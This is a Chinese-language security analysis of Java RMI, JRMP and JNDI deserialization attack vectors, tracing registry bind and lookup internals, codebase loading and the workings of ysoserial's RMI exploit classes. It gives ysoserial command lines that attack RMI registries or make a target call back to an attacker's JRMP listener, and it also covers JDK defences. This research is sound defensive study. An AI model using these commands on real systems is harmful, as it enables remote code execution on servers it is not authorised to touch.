Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队

前提了解

JNDI

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

图片[1]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

JRMP

Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议。

RMI

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

图片[2]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

JDK关键版本图片[3]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

RMI攻击向量

RMI Serialization Attack

注意:此Demo没有版本限制,但部分逻辑会由于版本原因造成出入。

Demo

  • with JDK 1.8.0_151

  • with java-rmi-server/ rmi.RMIServer、Services、PublicKnown

  • with java-rmi-client/ rmi.RMIClient、Services、ServicesImpl、PublicKnown

PS:低版本无法在RegistryImpl_Skel下有效断点。

分析

两种 bind 区别

  • Server <-> RMI Registry <-> Client

server 通过 bind 注册服务时会进行序列化传输服务名&Ref,因此会进入RegistryImpl_Skel.dispatch先经过反序列化获取。

  • Server(RMI Registry) <-> Client

这种模式下,由于 server 与 Registry 是同一台机器,在 bind 注册时由于 server 上已有其 Ref,因此不需要序列化传输,只需要在 bindings list 中添加对应键值即可。

注册、请求流程

RMI Registry 的核心在于 RegistryImpl_Skel。当Server执行bind、Client执行lookup时候,均会通过sun.rmi.registry.RegistryImpl_Skel#dispatch进行处理。

bind

首先注意到ServiceImpl继承了UnicastRemoteObject,在实例化时会通过exportObject创建返回此服务的stub。

public class ServiceImpl extends UnicastRemoteObject implements Service {...}/*** Exports the specified object using the specified server ref.*/private static Remote exportObject(Remote obj, UnicastServerRef sref)throws RemoteException{// if obj extends UnicastRemoteObject, set its ref.if (obj instanceof UnicastRemoteObject) {((UnicastRemoteObject) obj).ref = sref;}return sref.exportObject(obj, null, false);}

再通过bind向RMI Registry服务器申请注册绑定服务名&stub跟入到sun.rmi.registry.RegistryImpl_Stub#bind,注意观察到向RMI Registry申请时,第三个参数对应 operations 里的操作。

这里尤其注意的两个 writeObject,分别向 var3 的输出流中写入序列化后的服务名&stub。

图片[4]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科图片[5]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

RMI Registry收到申请时会进行会通过传入的操作值进入相关流程,0时进入bind,注意到两次 readObject 分别反序列化获取服务名&stub后,再向 bindings List 中写入键值。

图片[6]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

这里就引出来了一个点:Server 通过向 RMI Registry 申请 bind 操作进行序列化攻击。

lookup

再看Client向RMI Registry申请lookup 查找时候(sun.rmi.registry.RegistryImpl_Stub#lookup)传递的操作数为 2,且反序列化了目标服务名。

图片[7]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科图片[8]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

RMI

Registry(sun.rmi.registry.RegistryImpl_Skel#dispatch)这边同样会先反序列化获取查询服务名,再从 bindings list 中进行查询。 图片[9]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

这里就引出来了另一个点:Client 通过向 RMI Registry 申请 lookup 操作进行序列化攻击。

但是就完了么?

我们再往下看,注意到 86 行出现的 writeObject,这里是将查询到的stub序列化传输给 Client。

回到 Client 的代码中,可以看到104 行的 readObject。

图片[10]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科这里就引出来了第三个点:RMI Registry 通过 lookup 操作被动式攻击 Client。

调用时序列化

现在我们理清了bind、lookup的部分内容,那么 client 是如何实现远程调用呢?

通过跟进后可以看到由

java.rmi.server.RemoteObjectInvocationHandler实现的动态代理,并最终由sun.rmi.server.UnicastRef#invoke实现调用。图片[11]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

在调用中我们注意到通过marshalValue打包参数,由unmarshalValue对传回的内容进行反序列化。图片[12]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

限制

这里的 Demo 实际情况中很难遇到,因为evil是我们根据已知的Services、PublicKnown(含已知漏洞)生成的,在攻击时更多都是采用本地 gadget。

攻击方向

注意到我们上面提出了三个攻击向。

1.Server 通过向 RMI Registry 申请 bind 操作进行序列化攻击;

2.Client 通过向 RMI Registry 申请 lookup 操作进行序列化攻击;

3.RMI Registry 通过 lookup 操作被动式攻击 Client。

其实注意到第一个点里提到的 Server 并不是要求一定要由目标服务器发起,比如任意一台(包括攻击者)均可以向注册中心发起注册请求进而通过 bind 在 RMI Registry 上进行攻击,例如:

Client — bind –> RMI Registry(Server)

同理第二点、第三点里也是,所以我们更新一下:

1.向 RMI Registry 申请 bind 操作进行序列化攻击;

2.向 RMI Registry 申请 lookup 操作进行序列化攻击;

3.RMI Registry通过lookup操作被动式序列化攻击请求者。

bind – RMIRegistryExploit

  • with JDK 1.7.0_17

  • with java-rmi-server/ rmi.RMIServer2

  • with ysoserial.exploit.RMIRegistryExploit

ysoserial.exploit.RMIRegistryExploit实际对应bind攻击方向,我们来简单看下它的代码。

核心在于两点,对于第一点可以看看 cc1 分析以及Java动态代理-实战这篇。

  • sun.reflect.annotation.AnnotationInvocationHandler动态代理Remote.class

  • bind 操作

图片[13]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

这里提一下为什么需要动态代理,是由于在sun.rmi.registry.RegistryImpl_Skel#dispatch,执行bind时会通过Remote.readObject反序列化,导致调用

AnnotationInvocationHandler.invoke。

图片[14]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

RMI Remote Object

codebase传递以及useCodebaseOnly

RMI有一个重要的特性是动态类加载机制,当本地CLASSPATH中无法找到相应的类时,会在指定的codebase里加载class,

需要java.rmi.server.useCodebaseOnly=false,但是这个特性是一直开启的,直到6u45、7u21修改默认为 true 以防御攻击。

这里引用官方文档 Enhancements in JDK 7:

如果RMI连接一端的JVM在其java.rmi.server.codebase系统属性中指定了一个或多个URL,则该信息将通过RMI连接传递到另一端。如果接收方JVM的java.rmi.server.useCodebaseOnly系统属性设置为false,则它将尝试使用这些URL来加载RMI请求流中引用的Java类。

从由RMI连接的远程端指定位置加载类的行为,当被禁用

java.rmi.server.useCodebaseOnly被设定为true。在这种情况下,仅从预配置的位置(例如本地指定的

java.rmi.server.codebase属性或本地CLASSPATH)加载类,而不从codebase通过RMI请求流传递的信息中加载类。

demo

Client 攻击 Server

  • with JDK 1.7.0_17

  • with java-rmi-server/rmi.RMIServer2

  • with java-rmi-client/rmi.RMIClient2、remote.RemoteObject

若 Client 指定了 codebase 地址,Server 加载目标类时会现在本地 classpath 中进行查找,在没有找到的情况下会通过 codebase 对指定地址再次查找。

为了能够远程加载目标类,需要Server加载并配置RMISecurityManager,并同时设置:

java.rmi.server.useCodebaseOnly=false

在传输了 codebase 之后是如何调用的呢? 图片[15]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

也是由动态代理类

java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod实现远程调用。

图片[16]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

Server 接收到调用指令后,进入

sun.rmi.server.MarshalInputStream#resolveClass,

由于 useCodebaseOnly 为 false,从客户端指定地址远程读取目标类。

图片[17]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

全部读取完毕后回到

java.io.ObjectInputStream#readOrdinaryObject,

调用

java.io.ObjectStreamClass#initNonProxy进行实例化。

图片[18]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

Server 攻击 Client

  • with JDK 1.7.0_17

  • with java-rmi-server/rmi.RMIServer3、remote.RemoteObject2

  • with java-rmi-client/rmi.RMIClient3

可以对比看到,从sun.rmi.server.UnicastRef#invoke起是一致的逻辑,只是上层调用来源不一样,不再赘述。 图片[19]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

区别攻击方向

方法调用请求均来自 Client。

但区别的产生在于

sun.rmi.server.UnicastRef#invoke(java.rmi.Remote,java.lang.reflect.Method,java.lang.Object[], long)处的逻辑代码。

  • line 79: Client 攻击 Server,在于让 Server 请求远程 Class 产生结果,由于本地同名恶意类安全所以不会对本地造成攻击。

  • line 89: Server 攻击 Clinet,在于 Client 获取到安全结果后需要获取远程 Class 进行本地反序列化导致被攻击。

图片[20]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

JRMP

  • with JDK 1.7.0_80

  • with java-rmi-server/rmi.RMIServer2

看情况取舍:

上面说的RMI通信过程中假设客户端在与RMI服务端通信中,虽然也是在JRMP协议上进行通信,尝试传输序列化的恶意对象到服务端,此时服务端若也返回客户端一个恶意序列化的对象,那么客户端也可能被攻击,利用JRMP就可以利用socket进行通信,客户端直接利用JRMP协议发送数据,而不用接受服务端的返回,因此这种攻击方式也更加安全。

这里我们针对 ysoserial 的几个相关 Class 进行分析,首先先列举下相关的作用。

  • payloads.JRMPListener 在目标服务器目标端口上开启JRMP监听服务 – 独立利用

  • payloads.JRMPClient 向目标服务器发送注册 Ref,目标 exploit.JRMPListener 地址

  • exploit.JMRPListener 被动向请求方传输序列化 payload

  • exploit.JRMPClient 主动向目标服务器传输序列化 payload

除此之外,我们还需要了解下关于DGC的一些内容,以便理解下面的内容。

RMI.DGC 为 RMI 分布式垃圾回收提供了类和接口。当 RMI 服务器返回一个对象到其客户机(远程方法的调用方)时,其跟踪远程对象在客户机中的使用。当再没有更多的对客户机上远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。

payloads.JRMPListener

在了解之前,我们先看下JAVA原生序列化有两种接口实现。

1.Serializable接口:要求实现writeObject、readObject、writeReplace、readResolve

2.Externalizable接口:要求实现 writeExternal、readExternal

分析

回到JRMPListener中,代码很简单,主要功能就是生成一个开启目标端口进行监听RMI服务的payload。图片[21]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

我们首先跟入到

ysoserial.payloads.util.Reflections#createWithConstructor,了解下函数逻辑。 图片[22]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

1.先查找RemoteObject下参数类型为 RemoteRef 的构造器。

2.根据找到的构造器为ActivationGroupImpl动态生成一个新的构造器并生成实例。

为什么需要这样呢?其实就是为了避免调用ActivationGroupImpl本身的构造方法,避免复杂的或其他不可控的问题。

图片[23]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

我们关注下UnicastRemoteObject在序列化阶段做了什么,从reexport跟入到exportObject,创建监听并返回此 stub。图片[24]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

另外,通过上面的分析实际上我们只用需要UnicastRemoteObject就足够开启监听利用,下面两种也可以,但好奇为什么作者要通过子类转换实现利用呢?

ActivationGroupImpl uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {RemoteRef.class}, new Object[] {new UnicastServerRef(jrmpPort)});UnicastRemoteObject uro = Reflections.createWithConstructor(UnicastRemoteObject.class, RemoteObject.class, new Class[] {RemoteRef.class}, new Object[] {new UnicastServerRef(jrmpPort)});

利用

java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPListener <new_listener_port>java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <new_listener_port> <payloads> <args[]>

payloads.JRMPClient

分析

作为 payloads 核心代码依旧不是很多,生成 ref 并封装到 handler,动态代理Registry类。

实际上,对于 ClassLoader 我们是可以设置为 Null,这个问题可以通过上面的资料链接回答。

至于为什么强转为 Registry ?只是因为我们动态代理了这个类,集成了需要代理类的各种方法,在不调用这些方法时替换成任意 Object 子类均可。

现在我们看下代码逻辑:

图片[25]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

当我们传递一个 proxy 准备序列化时,大意上同样会对其成员进行序列化(这里不展开,需要自己看序列化),所以会调用其父类 RemoteObject.readObject()

图片[26]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

注意到最后会调用 readExternal 方法,原因已在上文提到。

图片[27]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

这里便会调用

sun.rmi.server.UnicastRef#readExternal,

之后进入

sun.rmi.transport.LiveRef#read,

但这里并不能进入到 DGCClient 注册,但会把 ref 信息存入到

ConnectionInputStream.incomingRefTable中。

图片[28]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

在最后释放输入连接时,会对incomingRefTable中的 ref 进行注册。

图片[29]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

为什么要这么做呢?java 注释写有,详细内容没有查到。

/*** Save reference in order to send "dirty" call after all args/returns* have been unmarshaled.  Save in hashtable incomingRefTable.  This* table is keyed on endpoints, and holds objects of type* IncomingRefTableEntry.*/

而在sun.rmi.transport.DGCImpl_Skel#dispatch中也是类似注释中的流程。

图片[30]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

回到 ref 注册,实际是会在 DGCClient 中对 refs 进行注册。

图片[31]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

然后对传输过来的数据直接进行反序列化解析,这里的内容放在

exploit.JRMPListener中讲解。

图片[32]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

所以整个流程分析下来,并没有看到需要使用动态代理的地方,因此生成 payload 时直接序列化传输RemoteObject子类也就足够,而原生自带的容易控制的子类为RemoteObjectInvocationHandler,即:

图片[33]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

利用

payloads.JRMPClient 是要配合 exploit.JRMPListener 一起使用的。

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>java -cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip> <rmi_port> JRMPClient <listener_ip>:<listener_port>

exploit.JRMPListener

分清两个JRMPListener的区别

  • payloads.JRMPListener 在目标机上开启 JMRP 监听

  • exploit.JRMPListener 实现对 JRMP Client 请求的应答

分析

从 Main 可以看到基本逻辑就是开启监听 JRMP 端口等待连接后传输恶意 payload。

图片[34]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

在监听时对协议进行解析,对为 StreamProtocol、SingleOpProtocol 的连接均会通过 doMessage 进行应答。

图片[35]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

而在 doMessage 中对远程RMI调用发送 payload 数据包。

图片[36]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

那么 payload 是填充到哪里了呢?

注意到 doCall 函数中的这段代码,和 cc5 的入口点是一样的。

图片[37]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

但需要注意的是,BadAttributeValueExpException.readObject的触发点不一定是 valObj.toSting(),这里在调试的时候出现了一堆莫名其妙的现象。

抛开后续的利用,我们从开始看下目标是如何向 JRMPListener 请求的。

图片[38]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

会向 DGCClient 中进行注册 Ref,通过80请求、81应答进行传输,这里可以关注下调用栈,结合上面 DGC 内容进行了解。

图片[39]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

那么 80 是如何出现的呢?

看到StreamRemoteCall初始化时会直接往第一个字节写入 80。

图片[40]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

接着目标会读取 Listener 传递的值对之后的内容选择是否进行反序列化,反序列化的内容就和上面连接起来了。

图片[41]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

额外提一下,var1在这里的意义是用来判断Listener是否为正常返回,如果因为某些原因在 Listener 端产生了异常报错需要将报错信息传递回请求端,而传递的信息是序列化的所以会在请求端触发反序列化。

利用

本身无法直接利用的,需要向目标机发送 payloads.JRMPClient 以被动攻击。

java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener <listener_port> <payloads> <args[]>

exploit.JRMPClient

分清两个 JRMPClient 区别,以及 RMIRegistry

Exploit

  • payloads.JRMPClient 向目标DGC注册Ref

  • exploit.JRMPClient 向目标DGC传输序列化 payload

  • exploit.RMIRegistryExploit 向目标RMI.Registry传输序列化 payload,目标为 RMI.Registry 监听端口

下面是payloads.JRMPListener和RMI.Registry 开启的监听端口在nmap扫描下的不同信息:

exploit.JRMPClient 可以对两者进行攻击;

exploit.RMIRegistryExploit只能攻击后者。

图片[42]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

分析

先在sun.rmi.server.UnicastServerRef#dispatch中读取 Int 数据。

图片[43]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

然后在

sun.rmi.server.UnicastServerRef#oldDispatch中读取 Long 数据。

图片[44]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

之后进入sun.rmi.transport.DGCImpl_Skel#dispatch,先对读取的 Long 数据即接口 hash 值进行判断是否为相同。

图片[45]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

再根据之前读取的 Int 数据进行相应的处理。

图片[46]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

利用

java -cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rmi_ip> <rmi_port> <payloads> <args[]>

JNDI Reference

关于 JNDI 的内容已在整篇文章开头有涉及,此处暂时无额外需求。

demo

  • with JDK 1.7.0_17

  • with jndi\rmi.RMIClient、rmi.RMIServer

分析

我们跟进Client执行lookup后看看发生了什么。

同样也是Client向Server请求查询test_service对应的 stub,再执行到 com.sun.jndi.rmi.registry.RegistryContext#decodeObject中获取目标类的 ref。

图片[47]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

之后带入 ref 到

javax.naming.spi.NamingManager#getObjectInstance中进行远程工厂类的加载(所以Server 端 new Reference 时的第一个 class 参数随便写不影响)。

图片[48]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

这样就是在 Client 执行 lookup 操作时让其直接加载远程恶意类进行 RCE,不需要任何其他的 gadget。

防御

受到自6u141、7u131、8u121起默配置com.sun.jndi.rmi.object.trustURLCodebase=false,直接远程加载会被限制,报错信息如下:

图片[49]-Java远程方法调用RMI利用分析 – 作者:酒仙桥六号部队-安全小百科

另外还对可反序列化的类做了白名单检测- JEP290,对 JEP290 的分析文章很多,常见 Bypass会在之后总结。

来源:freebuf.com 2020-10-21 10:00:33 by: 酒仙桥六号部队

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论